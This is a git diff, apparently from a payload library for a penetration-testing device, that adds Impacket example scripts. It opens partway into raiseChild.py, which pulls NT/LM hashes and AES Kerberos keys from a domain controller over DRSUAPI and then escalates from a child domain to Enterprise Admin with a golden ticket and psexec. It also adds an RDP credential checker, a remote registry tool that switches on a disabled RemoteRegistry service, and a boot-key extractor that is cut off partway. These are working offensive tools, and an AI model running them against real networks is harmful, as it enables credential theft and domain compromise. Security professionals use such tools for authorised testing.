NtdsDsaObjectGuid UUID to use when querying NCChanges + resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2) + + if resp['pmsgOut']['V2']['cItems'] > 0: + self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] + else: + logging.error("Couldn't get DC info for domain %s" % domainName) + raise Exception('Fatal, aborting') + + def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, + formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None): + if self.__drsr is None: + self.__connectDrds(target, creds) + + resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) + return resp + + def __decryptSupplementalInfo(self, record, prefixTable=None): + # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures + plainText = None + for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: + try: + attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) + LOOKUP_TABLE = self.ATTRTYP_TO_ATTID + except Exception, e: + logging.debug('Failed to execute OidFromAttid with error %s' % e) + # Fallbacking to fixed table and hope for the best + attId = attr['attrTyp'] + LOOKUP_TABLE = self.NAME_TO_ATTRTYP + + if attId == LOOKUP_TABLE['supplementalCredentials']: + if attr['AttrVal']['valCount'] > 0: + blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) + plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob) + if len(plainText) < 24: + plainText = None + + if plainText: + try: + userProperties = samr.USER_PROPERTIES(plainText) + except: + # On some old w2k3 there might be user properties that don't + # match [MS-SAMR] structure, discarding them + return + propertiesData = userProperties['UserProperties'] + for propertyCount in range(userProperties['PropertyCount']): + userProperty = samr.USER_PROPERTY(propertiesData) + propertiesData = propertiesData[len(userProperty):] + if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': + propertyValueBuffer = unhexlify(userProperty['PropertyValue']) + kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) + data = kerbStoredCredentialNew['Buffer'] + for credential in range(kerbStoredCredentialNew['CredentialCount']): + keyDataNew = samr.KERB_KEY_DATA_NEW(data) + data = data[len(keyDataNew):] + keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] + + if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']): + # Give me only the AES256 + if keyDataNew['KeyType'] == 18: + return hexlify(keyValue) + + return None + + def __decryptHash(self, record, prefixTable=None): + logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) + rid = 0 + LMHash = None + NTHash = None + for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: + try: + attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) + LOOKUP_TABLE = self.ATTRTYP_TO_ATTID + except Exception, e: + logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e) + # Fallbacking to fixed table and hope for the best + attId = attr['attrTyp'] + LOOKUP_TABLE = self.NAME_TO_ATTRTYP + if attId == LOOKUP_TABLE['dBCSPwd']: + if attr['AttrVal']['valCount'] > 0: + encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) + encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd) + else: + LMHash = LMOWFv1('', '') + elif attId == LOOKUP_TABLE['unicodePwd']: + if attr['AttrVal']['valCount'] > 0: + encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) + encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd) + else: + NTHash = NTOWFv1('', '') + elif attId == LOOKUP_TABLE['objectSid']: + if attr['AttrVal']['valCount'] > 0: + objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) + rid = unpack(' file') + #parser.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller (needed to get the user''s SID). If ommited it use the domain part (FQDN) specified in the target parameter') + parser.add_argument('-target-exec', action='store',metavar = "target address", help='Target host you want to PSEXEC ' + 'against once the main attack finished') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + if len(sys.argv)==1: + parser.print_help() + print "\nExamples: " + print "\tpython raiseChild.py childDomain.net/adminuser\n" + print "\tthe password will be asked, or\n" + print "\tpython raiseChild.py childDomain.net/adminuser:mypwd\n" + print "\tor if you just have the hashes\n" + print "\tpython raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser\n" + + print "\tThis will perform the attack and then psexec against target-exec as Enterprise Admin" + print "\tpython raiseChild.py -target-exec targetHost childDomainn.net/adminuser\n" + print "\tThis will save the final goldenTicket generated in the ccache target file" + print "\tpython raiseChild.py -w ccache childDomain.net/adminuser\n" + sys.exit(1) + + options = parser.parse_args() + + import re + # This is because I'm lazy with regex + # ToDo: We need to change the regex to fullfil domain/username[:password] + targetParam = options.target + '@' + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + targetParam).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + if domain is '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + commands = 'cmd.exe' + + try: + pacifier = RAISECHILD(options.target_exec, username, password, domain, options, commands) + pacifier.exploit() + except SessionError, e: + logging.critical(str(e)) + if e.getErrorCode() == STATUS_NO_LOGON_SERVERS: + logging.info('Try using Kerberos authentication (-k switch). That might help solving the STATUS_NO_LOGON_SERVERS issue') + except Exception, e: + #import traceback + #print traceback.print_exc() + logging.critical(str(e)) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/rdp_check.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/rdp_check.py new file mode 100644 index 0000000..b1b2a86 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/rdp_check.py @@ -0,0 +1,577 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# +# Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation +# just to reach CredSSP auth. This example test whether +# an account is valid on the target host. +# +# ToDo: +# [x] Manage to grab the server's SSL key so we can finalize the whole +# authentication process (check [MS-CSSP] section 3.1.5) +# + +from struct import pack, unpack + +from impacket.examples import logger +from impacket.structure import Structure +from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode + +TDPU_CONNECTION_REQUEST = 0xe0 +TPDU_CONNECTION_CONFIRM = 0xd0 +TDPU_DATA = 0xf0 +TPDU_REJECT = 0x50 +TPDU_DATA_ACK = 0x60 + +# RDP_NEG_REQ constants +TYPE_RDP_NEG_REQ = 1 +PROTOCOL_RDP = 0 +PROTOCOL_SSL = 1 +PROTOCOL_HYBRID = 2 + +# RDP_NEG_RSP constants +TYPE_RDP_NEG_RSP = 2 +EXTENDED_CLIENT_DATA_SUPPORTED = 1 +DYNVC_GFX_PROTOCOL_SUPPORTED = 2 + +# RDP_NEG_FAILURE constants +TYPE_RDP_NEG_FAILURE = 3 +SSL_REQUIRED_BY_SERVER = 1 +SSL_NOT_ALLOWED_BY_SERVER = 2 +SSL_CERT_NOT_ON_SERVER = 3 +INCONSISTENT_FLAGS = 4 +HYBRID_REQUIRED_BY_SERVER = 5 +SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6 + +class TPKT(Structure): + commonHdr = ( + ('Version','B=3'), + ('Reserved','B=0'), + ('Length','>H=len(TPDU)+4'), + ('_TPDU','_-TPDU','self["Length"]-4'), + ('TPDU',':=""'), + ) + +class TPDU(Structure): + commonHdr = ( + ('LengthIndicator','B=len(VariablePart)+1'), + ('Code','B=0'), + ('VariablePart',':=""'), + ) + + def __init__(self, data = None): + Structure.__init__(self,data) + self['VariablePart']='' + +class CR_TPDU(Structure): + commonHdr = ( + ('DST-REF',' + # + # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted + # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth + # field is omitted by the client unless the client is sending the last SPNEGO token. + # If the client is sending the last SPNEGO token, the TSRequest structure MUST have + # both the negoToken and the pubKeyAuth fields filled in. + + # NTLMSSP stuff + auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True) + + ts_request = TSRequest() + ts_request['NegoData'] = str(auth) + + tls.send(ts_request.getData()) + buff = tls.recv(4096) + ts_request.fromString(buff) + + + # 3. The client encrypts the public key it received from the server (contained + # in the X.509 certificate) in the TLS handshake from step 1, by using the + # confidentiality support of SPNEGO. The public key that is encrypted is the + # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 + # certificate, as specified in [RFC3280] section 4.1. The encrypted key is + # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over + # the TLS channel to the server. + # + # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted + # from the TSRequest structure; the client MUST send its last SPNEGO token to the + # server in the negoTokens field (see step 2) along with the encrypted public key + # in the pubKeyAuth field. + + # Last SPNEGO token calculation + #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) + type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True) + + # Get server public key + server_cert = tls.get_peer_certificate() + pkey = server_cert.get_pubkey() + dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) + + # Fix up due to PyOpenSSL lack for exporting public keys + dump = dump[7:] + dump = '\x30'+ asn1encode(dump) + + cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) + signature, cripted_key = cipher.encrypt(dump) + ts_request['NegoData'] = str(type3) + ts_request['pubKeyAuth'] = str(signature) + cripted_key + + try: + # Sending the Type 3 NTLM blob + tls.send(ts_request.getData()) + # The other end is waiting for the pubKeyAuth field, but looks like it's + # not needed to check whether authentication worked. + # If auth is unsuccessful, it throws an exception with the previous send(). + # If auth is successful, the server waits for the pubKeyAuth and doesn't answer + # anything. So, I'm sending garbage so the server returns an error. + # Luckily, it's a different error so we can determine whether or not auth worked ;) + buff = tls.recv(1024) + except Exception, err: + if str(err).find("denied") > 0: + logging.error("Access Denied") + else: + logging.error(err) + return + + # 4. After the server receives the public key in step 3, it first verifies that + # it has the same public key that it used as part of the TLS handshake in step 1. + # The server then adds 1 to the first byte representing the public key (the ASN.1 + # structure corresponding to the SubjectPublicKey field, as described in step 3) + # and encrypts the binary result by using the SPNEGO encryption services. + # Due to the addition of 1 to the binary data, and encryption of the data as a binary + # structure, the resulting value may not be valid ASN.1-encoded values. + # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest + # structure and is sent over the encrypted TLS channel to the client. + # The addition of 1 to the first byte of the public key is performed so that the + # client-generated pubKeyAuth message cannot be replayed back to the client by an + # attacker. + # + # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens + # fields are omitted from the TSRequest structure. + + ts_request = TSRequest(buff) + + # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) + signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) + + # 5. After the client successfully verifies server authenticity by performing a + # binary comparison of the data from step 4 to that of the data representing + # the public key from the server's X.509 certificate (as specified in [RFC3280], + # section 4.1), it encrypts the user's credentials (either password or smart card + # PIN) by using the SPNEGO encryption services. The resulting value is + # encapsulated in the authInfo field of the TSRequest structure and sent over + # the encrypted TLS channel to the server. + # The TSCredentials structure within the authInfo field of the TSRequest + # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, + # but MUST NOT contain both. + # + # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens + # fields are omitted from the TSRequest structure. + tsp = TSPasswordCreds() + tsp['domainName'] = domain + tsp['userName'] = username + tsp['password'] = password + tsc = TSCredentials() + tsc['credType'] = 1 # TSPasswordCreds + tsc['credentials'] = tsp.getData() + + signature, cripted_creds = cipher.encrypt(tsc.getData()) + ts_request = TSRequest() + ts_request['authInfo'] = str(signature) + cripted_creds + tls.send(ts_request.getData()) + tls.close() + logging.info("Access Granted") + + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Test whether an account is valid on the target " + "host using the RDP protocol.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + import re + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None: + from getpass import getpass + password = getpass("Password:") + + check_rdp(address, username, password, domain, options.hashes) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/reg.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/reg.py new file mode 100644 index 0000000..7e2e3fc --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/reg.py @@ -0,0 +1,428 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: Remote registry manipulation tool. +# The idea is to provide similar functionality as the REG.EXE Windows utility. +# +# e.g: +# ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s +# +# Author: +# Manuel Porto (@manuporto) +# Alberto Solino (@agsolino) +# +# Reference for: [MS-RRP] +# +import argparse +import codecs +import logging +import sys +import time +from struct import unpack + +from impacket import version +from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt +from impacket.examples import logger +from impacket.system_errors import ERROR_NO_MORE_ITEMS +from impacket.winregistry import hexdump +from impacket.smbconnection import SMBConnection + + +class RemoteOperations: + def __init__(self, smbConnection, doKerberos, kdcHost=None): + self.__smbConnection = smbConnection + self.__smbConnection.setTimeout(5 * 60) + self.__serviceName = 'RemoteRegistry' + self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' + self.__rrp = None + self.__regHandle = None + + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + + self.__disabled = False + self.__shouldStop = False + self.__started = False + + self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' + self.__scmr = None + + def getRRP(self): + return self.__rrp + + def __connectSvcCtl(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) + rpc.set_smb_connection(self.__smbConnection) + self.__scmr = rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + + def connectWinReg(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) + rpc.set_smb_connection(self.__smbConnection) + self.__rrp = rpc.get_dce_rpc() + self.__rrp.connect() + self.__rrp.bind(rrp.MSRPC_UUID_RRP) + + def __checkServiceStatus(self): + # Open SC Manager + ans = scmr.hROpenSCManagerW(self.__scmr) + self.__scManagerHandle = ans['lpScHandle'] + # Now let's open the service + ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) + self.__serviceHandle = ans['lpServiceHandle'] + # Let's check its status + ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) + if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: + logging.info('Service %s is in stopped state' % self.__serviceName) + self.__shouldStop = True + self.__started = False + elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: + logging.debug('Service %s is already running' % self.__serviceName) + self.__shouldStop = False + self.__started = True + else: + raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) + + # Let's check its configuration if service is stopped, maybe it's disabled :s + if self.__started is False: + ans = scmr.hRQueryServiceConfigW(self.__scmr, self.__serviceHandle) + if ans['lpServiceConfig']['dwStartType'] == 0x4: + logging.info('Service %s is disabled, enabling it' % self.__serviceName) + self.__disabled = True + scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x3) + logging.info('Starting service %s' % self.__serviceName) + scmr.hRStartServiceW(self.__scmr, self.__serviceHandle) + time.sleep(1) + + def enableRegistry(self): + self.__connectSvcCtl() + self.__checkServiceStatus() + self.connectWinReg() + + def __restore(self): + # First of all stop the service if it was originally stopped + if self.__shouldStop is True: + logging.info('Stopping service %s' % self.__serviceName) + scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) + if self.__disabled is True: + logging.info('Restoring the disabled state for service %s' % self.__serviceName) + scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x4) + + def finish(self): + self.__restore() + if self.__rrp is not None: + self.__rrp.disconnect() + if self.__scmr is not None: + self.__scmr.disconnect() + + +class RegHandler: + def __init__(self, username, password, domain, options): + self.__username = username + self.__password = password + self.__domain = domain + self.__options = options + self.__action = options.action.upper() + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__doKerberos = options.k + self.__kdcHost = options.dc_ip + self.__smbConnection = None + self.__remoteOps = None + + # It's possible that this is defined somewhere, but I couldn't find where + self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD', + 5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'} + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self, remoteName, remoteHost): + self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) + + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def run(self, remoteName, remoteHost): + self.connect(remoteName, remoteHost) + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) + + try: + self.__remoteOps.enableRegistry() + except Exception, e: + logging.debug(str(e)) + logging.warning('Cannot check RemoteRegistry status. Hoping it is started...') + self.__remoteOps.connectWinReg() + + try: + dce = self.__remoteOps.getRRP() + + if self.__action == 'QUERY': + self.query(dce, self.__options.keyName) + else: + logging.error('Method %s not implemented yet!' % self.__action) + except (Exception, KeyboardInterrupt), e: + # import traceback + # traceback.print_exc() + logging.critical(str(e)) + finally: + if self.__remoteOps: + self.__remoteOps.finish() + + def query(self, dce, keyName): + # Let's strip the root key + try: + rootKey = keyName.split('\\')[0] + subKey = '\\'.join(keyName.split('\\')[1:]) + except Exception: + raise Exception('Error parsing keyName %s' % keyName) + + if rootKey.upper() == 'HKLM': + ans = rrp.hOpenLocalMachine(dce) + elif rootKey.upper() == 'HKU': + ans = rrp.hOpenCurrentUser(dce) + elif rootKey.upper() == 'HKCR': + ans = rrp.hOpenClassesRoot(dce) + else: + raise Exception('Invalid root key %s ' % rootKey) + + hRootKey = ans['phKey'] + + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + + if self.__options.v: + print keyName + value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v) + print '\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1]) + elif self.__options.ve: + print keyName + value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '') + print '\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1]) + elif self.__options.s: + self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0) + else: + print keyName + self.__print_key_values(dce, ans2['phkResult']) + i = 0 + while True: + try: + key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i) + print keyName + '\\' + key['lpNameOut'][:-1] + i += 1 + except Exception: + break + # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult']) + # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0) + + def __print_key_values(self, rpc, keyHandler): + i = 0 + while True: + try: + ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i) + lp_value_name = ans4['lpValueNameOut'][:-1] + if len(lp_value_name) == 0: + lp_value_name = '(Default)' + lp_type = ans4['lpType'] + lp_data = ''.join(ans4['lpData']) + print '\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t', + self.__parse_lp_data(lp_type, lp_data) + i += 1 + except rrp.DCERPCSessionError, e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + + def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index): + index = 0 + while True: + try: + subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index) + index += 1 + ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'], + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) + newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\' + print newKeyName + self.__print_key_values(rpc, ans['phkResult']) + self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0) + except rrp.DCERPCSessionError, e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + except rpcrt.DCERPCException, e: + if str(e).find('access_denied') >= 0: + logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1]) + continue + elif str(e).find('rpc_x_bad_stub_data') >= 0: + logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1]) + return + raise + + @staticmethod + def __parse_lp_data(valueType, valueData): + try: + if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ: + if type(valueData) is int: + print 'NULL' + else: + print "%s" % (valueData.decode('utf-16le')[:-1]) + elif valueType == rrp.REG_BINARY: + print '' + hexdump(valueData, '\t') + elif valueType == rrp.REG_DWORD: + print "0x%x" % (unpack(' 1: + print '' + hexdump(valueData, '\t') + else: + print " NULL" + except: + print " NULL" + elif valueType == rrp.REG_MULTI_SZ: + print "%s" % (valueData.decode('utf-16le')[:-2]) + else: + print "Unkown Type 0x%x!" % valueType + hexdump(valueData) + except Exception, e: + logging.debug('Exception thrown when printing reg value %s', str(e)) + print 'Invalid data' + pass + + +if __name__ == '__main__': + + # Init the example's logger theme + logger.init() + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + print version.BANNER + + parser = argparse.ArgumentParser(add_help=True, description="Windows Register manipulation script.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + subparsers = parser.add_subparsers(help='actions', dest='action') + + # A query command + query_parser = subparsers.add_parser('query', help='Returns a list of the next tier of subkeys and entries that ' + 'are located under a specified subkey in the registry.') + query_parser.add_argument('-keyName', action='store', required=True, + help='Specifies the full path of the subkey. The ' + 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' + ' HKU.') + query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' + 'value name that is to be queried. If omitted, all value names for keyName are returned. ') + query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default ' + 'value or empty value name') + query_parser.add_argument('-s', action='store_true', default=False, help='Specifies to query all subkeys and value ' + 'names recursively.') + + # An add command + # add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry') + + # An delete command + # delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry') + + # A copy command + # copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote ' + # 'computer') + + # A save command + # save_parser = subparsers.add_parser('save', help='Saves a copy of specified subkeys, entries, and values of the ' + # 'registry in a specified file.') + + # A load command + # load_parser = subparsers.add_parser('load', help='Writes saved subkeys and entries back to a different subkey in ' + # 'the registry.') + + # An unload command + # unload_parser = subparsers.add_parser('unload', help='Removes a section of the registry that was loaded using the ' + # 'reg load operation.') + + # A compare command + # compare_parser = subparsers.add_parser('compare', help='Compares specified registry subkeys or entries') + + # A export command + # status_parser = subparsers.add_parser('export', help='Creates a copy of specified subkeys, entries, and values into' + # 'a file') + + # A import command + # import_parser = subparsers.add_parser('import', help='Copies a file containing exported registry subkeys, entries, ' + # 'and values into the remote computer\'s registry') + + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on ' + 'target parameters. If valid credentials cannot be found, it will use the ones specified ' + 'in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", + help='AES key to use for Kerberos Authentication (128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If ommited it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + # In case the password contains '@' + if '@' in remoteName: + password = password + '@' + remoteName.rpartition('@')[0] + remoteName = remoteName.rpartition('@')[2] + + if options.target_ip is None: + options.target_ip = remoteName + + if domain is None: + domain = '' + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + regHandler = RegHandler(username, password, domain, options) + try: + regHandler.run(remoteName, options.target_ip) + except Exception, e: + logging.error(str(e)) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/registry-read.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/registry-read.py new file mode 100644 index 0000000..d66cc0c --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/registry-read.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies) +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: A Windows Registry Reader Example +# +# Reference for: +# winregistry.py +# + +import sys +import argparse +import ntpath +from binascii import unhexlify, hexlify + +from impacket.examples import logger +from impacket import version +from impacket import winregistry + + +def bootKey(reg): + baseClass = 'ControlSet001\\Control\\Lsa\\' + keys = ['JD','Skew1','GBG','Data'] + tmpKey = '' + + for key in keys: + tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8]) + + transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] + + syskey = '' + for i in xrange(len(tmpKey)): + syskey += tmpKey[transforms[i]] + + print hexlify(syskey) + +def getClass(reg, className): + regKey = ntpath.dirname(className) + regClass = ntpath.basename(className) + + value = reg.getClass(className) + + if value is None: + return + + print "[%s]" % regKey + + print "Value for Class %s: \n" % regClass, + + winregistry.hexdump(value,' ') + +def getValue(reg, keyValue): + regKey = ntpath.dirname(keyValue) + regValue = ntpath.basename(keyValue) + + value = reg.getValue(keyValue) + + print "[%s]\n" % regKey + + if value is None: + return + + print "Value for %s:\n " % regValue, + reg.printValue(value[0],value[1]) + +def enumValues(reg, searchKey): + key = reg.findKey(searchKey) + + if key is None: + return + + print "[%s]\n" % searchKey + + values = reg.enumValues(key) + + for value in values: + print " %-30s: " % value, + data = reg.getValue('%s\\%s'%(searchKey,value)) + # Special case for binary string.. so it looks better formatted + if data[0] == winregistry.REG_BINARY: + print '' + reg.printValue(data[0],data[1]) + print '' + else: + reg.printValue(data[0],data[1]) + +def enumKey(reg, searchKey, isRecursive, indent=' '): + parentKey = reg.findKey(searchKey) + + if 